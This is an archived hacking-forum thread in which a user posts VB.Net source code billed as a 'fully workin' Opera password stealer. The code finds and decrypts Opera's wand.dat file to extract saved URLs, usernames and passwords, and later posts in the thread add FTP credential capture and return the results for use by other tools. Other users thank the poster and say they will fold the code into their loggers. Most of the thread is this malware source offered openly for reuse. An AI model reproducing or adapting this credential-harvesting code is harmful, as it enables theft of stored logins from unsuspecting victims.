+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB.Net] Opera Password Stealer [Source] (/showthread.php?tid=890615)
[VB.Net] Opera Password Stealer [Source] - Black-Blood™ - Dec 12, 2010
Hey guys,
I finally found a Opera wand.dat decrypter and I converted and changed it a bit so now it only gets the URL, Username and Passwords !
Here you go:
Code
Imports System.Collections.Generic
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO
Class Opera
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0, c2 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Dim ftp As Boolean = False
Dim Lines() As String
Dim LoginData(3000) As String
Public Function GetOpera()
If File.Exists(path & "\Opera\Opera\wand.dat") Then
path += "\Opera\Opera\wand.dat"
version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else
End If
Return LoginData
End Function
Private Sub version2()
Try
Dim wand_file As Byte() = File.ReadAllBytes(path)
Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then
block_size = CInt(wand_file(i + 15))
Dim key As Byte() = New Byte(7) {}
Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
Array.Copy(wand_file, i + 4, key, 0, key.Length)
Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
i += 11 + block_size
End If
Next
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
sUrlTemp = Nothing
sUserTemp = Nothing
sPassTemp = Nothing
c = 0
Try
If Lines(j).Contains("http://") OrElse Lines(j).Contains("https://") OrElse Lines(j).Contains("ftp://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
If Lines(j).Contains("ftp://") Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
Else
If ftp Then
If j - lasturl = 1 OrElse j - lasturl = 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUserTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sPassTemp = Lines(j)
c1 += 1
ftp = False
End If
Catch ex As Exception
End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 OrElse j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j = lasturl + 2 Then
sUserTemp = Lines(j)
ElseIf j = lasturl + 4 Then
sPassTemp = Lines(j)
c1 += 1
End If
Catch ex As Exception
End Try
End If
End If
End If
End If
Catch ex As Exception
End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
Next
Catch e As Exception
Console.WriteLine(e.Message)
End Try
For j = 0 To sUrl.Length - 1
If sUrl(j) = "" Then
Exit For
End If
LoginData(c2) = sUrl(j)
LoginData(c2 + 1) = sUser(j)
LoginData(c2 + 2) = sPass(j)
c2 += 3
Next
End Sub
Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
Dim md5Crypt As New MD5CryptoServiceProvider()
md5Crypt.Initialize()
Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
Array.Copy(hash1, tmpBuffer, hash1.Length)
Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
Dim tripleDES As New TripleDESCryptoServiceProvider()
tripleDES.Mode = CipherMode.CBC
tripleDES.Padding = PaddingMode.None
Dim tripleKey As Byte() = New Byte(23) {}
Dim IV As Byte() = New Byte(7) {}
Array.Copy(hash1, tripleKey, hash1.Length)
Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
Array.Copy(hash2, 8, IV, 0, 8)
tripleDES.Key = tripleKey
tripleDES.IV = IV
Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
Dim enc As String = Encoding.Unicode.GetString(output)
Return enc
Catch e As Exception
Return ""
End Try
End Function
End ClassOk fully workin stealer.
URL's are stored in sUrl, Passwords in sPass and Usernames in sUser !
Have fun with it and give credits if you leech :D
Credits go to: Crushpest, KingCobraXD (Hackforums) and me for porting it to VB.Net and filtering out the URL,Usernames and Passwords ^^
Thank you and have a nice day !
* - The French - Dec 12, 2010
Thanks for sharing this code , really helpful.
* - KingCobraXD - Dec 12, 2010
No credit for me for helping you convert it? BTW, i got it to work when i converted it for you..
* - pr0t0typ3 - Dec 12, 2010
filtering is super easy if you know the basic concept. Just take a deeper look and you will find a 90 % working filter method. (I already got one)
* - KingCobraXD - Dec 12, 2010
Damn. All those reposting came out because HF is down..
* - Black-Blood™ - Dec 12, 2010
(Dec 12, 2010 06:35 AM)pr0t0typ3 Wrote: filtering is super easy if you know the basic concept. Just take a deeper look and you will find a 90 % working filter method. (I already got one)
I really don't get it :/
Sometimes it's 6 lines and sometimes 7 lines.
Line1 : URL
Line2 : Crap/URL
Line3 : URL/Crap
Line4 : Crap/Username
Line5 : Username/Crap
Line6 : Crap/Password
Line7 : Password/Crap
* - DaL33T - Dec 12, 2010
hey nice code. I'm going to work off this ;)
Thanks a lot =D
* - Black-Blood™ - Dec 12, 2010
(Dec 12, 2010 08:09 AM)NyC.xXBRONX.NyC Wrote: if i remembered correctly i believe he said on LC it needed Admin rights not sure got to check up on it.
?
Anyways. Got it working now. Fully working =)
Read in the first post for details !
* - 0dayleet - Dec 12, 2010
Thanks I will add it to my password recovery tool :).
* - FEL1X. - Dec 12, 2010
thanks, i will use it for my logger :)
will credit you ofc :)
* - pr0t0typ3 - Dec 12, 2010
(Dec 12, 2010 07:22 AM)Black-Blo0d Wrote: I really don't get it :/Well that is the reason why you need a inteligent filter and not only a 'each 5th line' style filter
Sometimes it's 6 lines and sometimes 7 lines.
Line1 : URL
Line2 : Crap/URL
Line3 : URL/Crap
Line4 : Crap/Username
Line5 : Username/Crap
Line6 : Crap/Password
Line7 : Password/Crap
* - Black-Blood™ - Dec 12, 2010
(Dec 12, 2010 09:23 AM)pr0t0typ3 Wrote: Well that is the reason why you need a inteligent filter and not only a 'each 5th line' style filter
Already got it ^^ Maybe it could be shortend but it works :P
* - RON6566 - Dec 12, 2010
Thanks for sharing this... (hope this works..)
* - Black-Blood™ - Dec 15, 2010
Update: Now it get's FTPs aswell =)
Code
Class Opera
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Dim ftp As Boolean = False
Public Function GetOpera()
If File.Exists(path & "\Opera\Opera\wand.dat") Then
path += "\Opera\Opera\wand.dat"
version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else
End If
End Function
Private Sub version2()
Try
Dim wand_file As Byte() = File.ReadAllBytes(path)
Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then
block_size = CInt(wand_file(i + 15))
Dim key As Byte() = New Byte(7) {}
Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
Array.Copy(wand_file, i + 4, key, 0, key.Length)
Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
i += 11 + block_size
End If
Next
Dim Lines() As String
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
sUrlTemp = Nothing
sUserTemp = Nothing
sPassTemp = Nothing
c = 0
Try
If Lines(j).Contains("http://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
ElseIf Lines(j).Contains("https://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
ElseIf Lines(j).Contains("ftp://") Then
If j <> 0 Then
ftp = True
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUrlTemp = Lines(j)
lasturl = j
Catch ex As Exception
End Try
End If
Else
If ftp Then
If j - lasturl = 1 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUserTemp = Lines(j)
Catch ex As Exception
End Try
ElseIf j - lasturl = 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
ftp = False
Catch ex As Exception
End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUserTemp = Lines(j)
Catch ex As Exception
End Try
ElseIf j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
Catch ex As Exception
End Try
End If
End If
End If
End If
Catch ex As Exception
End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
Next
Catch e As Exception
Console.WriteLine(e.Message)
End Try
For i = 0 To sUrl.Length
If sUrl(i) = "" Then
Exit For
End If
MsgBox(sUrl(i))
MsgBox(sUser(i))
MsgBox(sPass(i))
Next
End Sub
Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
Dim md5Crypt As New MD5CryptoServiceProvider()
md5Crypt.Initialize()
Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
Array.Copy(hash1, tmpBuffer, hash1.Length)
Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
Dim tripleDES As New TripleDESCryptoServiceProvider()
tripleDES.Mode = CipherMode.CBC
tripleDES.Padding = PaddingMode.None
Dim tripleKey As Byte() = New Byte(23) {}
Dim IV As Byte() = New Byte(7) {}
Array.Copy(hash1, tripleKey, hash1.Length)
Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
Array.Copy(hash2, 8, IV, 0, 8)
tripleDES.Key = tripleKey
tripleDES.IV = IV
Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
Dim enc As String = Encoding.Unicode.GetString(output)
Return enc
Catch e As Exception
Return ""
End Try
End Function
End Class* - Black-Blood™ - Dec 18, 2010
Again some changes.
Code
Class Opera
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0, c2 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Dim ftp As Boolean = False
Dim Lines() As String
Dim LoginData(3000) As String
Public Function GetOpera()
If File.Exists(path & "\Opera\Opera\wand.dat") Then
path += "\Opera\Opera\wand.dat"
version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else
End If
Return LoginData
End Function
Private Sub version2()
Try
Dim wand_file As Byte() = File.ReadAllBytes(path)
Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then
block_size = CInt(wand_file(i + 15))
Dim key As Byte() = New Byte(7) {}
Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
Array.Copy(wand_file, i + 4, key, 0, key.Length)
Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
i += 11 + block_size
End If
Next
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
sUrlTemp = Nothing
sUserTemp = Nothing
sPassTemp = Nothing
c = 0
Try
If Lines(j).Contains("http://") OrElse Lines(j).Contains("https://") OrElse Lines(j).Contains("ftp://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
If Lines(j).Contains("ftp://") Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
Else
If ftp Then
If j - lasturl = 1 OrElse j - lasturl = 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUserTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sPassTemp = Lines(j)
c1 += 1
ftp = False
End If
Catch ex As Exception
End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 OrElse j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j = lasturl + 2 Then
sUserTemp = Lines(j)
ElseIf j = lasturl + 4 Then
sPassTemp = Lines(j)
c1 += 1
End If
Catch ex As Exception
End Try
End If
End If
End If
End If
Catch ex As Exception
End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
Next
Catch e As Exception
Console.WriteLine(e.Message)
End Try
For j = 0 To sUrl.Length - 1
If sUrl(j) = "" Then
Exit For
End If
LoginData(c2) = sUrl(j)
LoginData(c2 + 1) = sUser(j)
LoginData(c2 + 2) = sPass(j)
c2 += 3
Next
End Sub
Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
Dim md5Crypt As New MD5CryptoServiceProvider()
md5Crypt.Initialize()
Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
Array.Copy(hash1, tmpBuffer, hash1.Length)
Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
Dim tripleDES As New TripleDESCryptoServiceProvider()
tripleDES.Mode = CipherMode.CBC
tripleDES.Padding = PaddingMode.None
Dim tripleKey As Byte() = New Byte(23) {}
Dim IV As Byte() = New Byte(7) {}
Array.Copy(hash1, tripleKey, hash1.Length)
Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
Array.Copy(hash2, 8, IV, 0, 8)
tripleDES.Key = tripleKey
tripleDES.IV = IV
Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
Dim enc As String = Encoding.Unicode.GetString(output)
Return enc
Catch e As Exception
Return ""
End Try
End Function
End ClassShortend and the stealed information are now stored in the var "LoginData" which is returnd by the function "GetOpera".